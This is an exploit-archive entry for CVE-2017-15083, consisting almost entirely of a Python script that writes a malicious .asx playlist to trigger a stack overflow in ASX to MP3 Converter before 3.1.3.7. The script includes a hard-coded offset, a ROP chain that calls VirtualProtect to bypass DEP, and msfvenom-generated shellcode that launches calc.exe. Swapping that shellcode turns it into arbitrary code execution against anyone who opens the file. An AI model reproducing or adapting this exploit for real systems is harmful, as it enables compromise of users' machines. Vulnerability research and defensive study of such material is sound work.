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ASX To MP3 Converter Stack Overflow

ASX To MP3 Converter Stack Overflow
Posted Oct 9, 2017
Authored by Nitesh Shilpkar

ASX to MP3 Converter versions prior to 3.1.3.7 stack overflow exploit with DEP bypass.

tags | exploit, overflow
advisories | CVE-2017-15083
MD5 | c5d7007bce65ee8f97c18b091f2df3d7

ASX To MP3 Converter Stack Overflow

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import struct,sys
head ='''<ASX version="3.0">
<Entry>
<REF HREF="mms://site.com/ach/music/smpl/LACA-05928-002-tes_'''

#offset 17375
junk = "A" *17375

#0x1003df8e
#0x774e1035
EIP="\x36\x10\x4e\x77"

adjust="A" *4

def create_rop_chain():

rop_gadgets = [
0x73dd5dce, # POP EAX # RETN [MFC42.DLL]
0x5d091368, # ptr to &VirtualProtect() [IAT COMCTL32.dll]
0x7608708e, # MOV EAX,DWORD PTR DS:[EAX] # RETN [MSVCP60.dll]
0x73dd40f1, # XCHG EAX,ESI # RETN [MFC42.DLL]
0x7c96feb7, # POP EBP # RETN [ntdll.dll]
0x7608fcec, # & push esp # ret [MSVCP60.dll]
0x01c395d4, # POP EAX # RETN [MSA2Mcodec00.dll]
0xfffffdff, # Value to negate, will become 0x00000201
0x77d74960, # NEG EAX # RETN [USER32.dll]
0x7ca485b4, # XCHG EAX,EBX # RETN [SHELL32.dll]
0x01d64827, # POP EAX # RETN [msvos.dll]
0xffffffc0, # Value to negate, will become 0x00000040
0x77d74960, # NEG EAX # RETN [USER32.dll]
0x71ab9b46, # XCHG EAX,EDX # RETN [WS2_32.dll]
0x1003fd11, # POP ECX # RETN [MSA2Mfilter03.dll]
0x77da1d04, # &Writable location [USER32.dll]
0x01d34691, # POP EDI # RETN [MSA2Mctn01.dll]
0x76091182, # RETN (ROP NOP) [MSVCP60.dll]
0x7d7da123, # POP EAX # RETN [WMVCore.DLL]
0x90909090, # nop
0x77195015, # PUSHAD # RETN [OLEAUT32.dll]
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

rop_chain = create_rop_chain()

#msfvenom -a x86 --platform Windows -p windows/exec cmd=calc.exe -f python -b "\x00\x0a\x0d EXITFUNC=seh
#badcharacters "\x00\x0a\x0d"

buf = ""
buf += "\xda\xd6\xba\xf5\xa4\x32\xf4\xd9\x74\x24\xf4\x5d\x31"
buf += "\xc9\xb1\x31\x83\xc5\x04\x31\x55\x14\x03\x55\xe1\x46"
buf += "\xc7\x08\xe1\x05\x28\xf1\xf1\x69\xa0\x14\xc0\xa9\xd6"
buf += "\x5d\x72\x1a\x9c\x30\x7e\xd1\xf0\xa0\xf5\x97\xdc\xc7"
buf += "\xbe\x12\x3b\xe9\x3f\x0e\x7f\x68\xc3\x4d\xac\x4a\xfa"
buf += "\x9d\xa1\x8b\x3b\xc3\x48\xd9\x94\x8f\xff\xce\x91\xda"
buf += "\xc3\x65\xe9\xcb\x43\x99\xb9\xea\x62\x0c\xb2\xb4\xa4"
buf += "\xae\x17\xcd\xec\xa8\x74\xe8\xa7\x43\x4e\x86\x39\x82"
buf += "\x9f\x67\x95\xeb\x10\x9a\xe7\x2c\x96\x45\x92\x44\xe5"
buf += "\xf8\xa5\x92\x94\x26\x23\x01\x3e\xac\x93\xed\xbf\x61"
buf += "\x45\x65\xb3\xce\x01\x21\xd7\xd1\xc6\x59\xe3\x5a\xe9"
buf += "\x8d\x62\x18\xce\x09\x2f\xfa\x6f\x0b\x95\xad\x90\x4b"
buf += "\x76\x11\x35\x07\x9a\x46\x44\x4a\xf0\x99\xda\xf0\xb6"
buf += "\x9a\xe4\xfa\xe6\xf2\xd5\x71\x69\x84\xe9\x53\xce\x74"
buf += "\x1b\x6e\xda\xe1\x82\x1b\xa7\x6f\x35\xf6\xeb\x89\xb6"
buf += "\xf3\x93\x6d\xa6\x71\x96\x2a\x60\x69\xea\x23\x05\x8d"
buf += "\x59\x43\x0c\xee\x3c\xd7\xcc\xdf\xdb\x5f\x76\x20"

shellcode="S"*10+buf

print "Length of shellcode is:",len(shellcode)
print "Length of ropchain is:",len(rop_chain)

print"Calculating Garbage:",(26000-17375-4-4-len(shellcode)-len(rop_chain))

garbage= "C" *8303

foot ='''_playlis.wma"/>
</Entry>
</ASX>'''

payload=head+junk+EIP+adjust+rop_chain+shellcode+garbage+foot

fobj = open("exploit.asx","w")
fobj.write(payload)
fobj.close()

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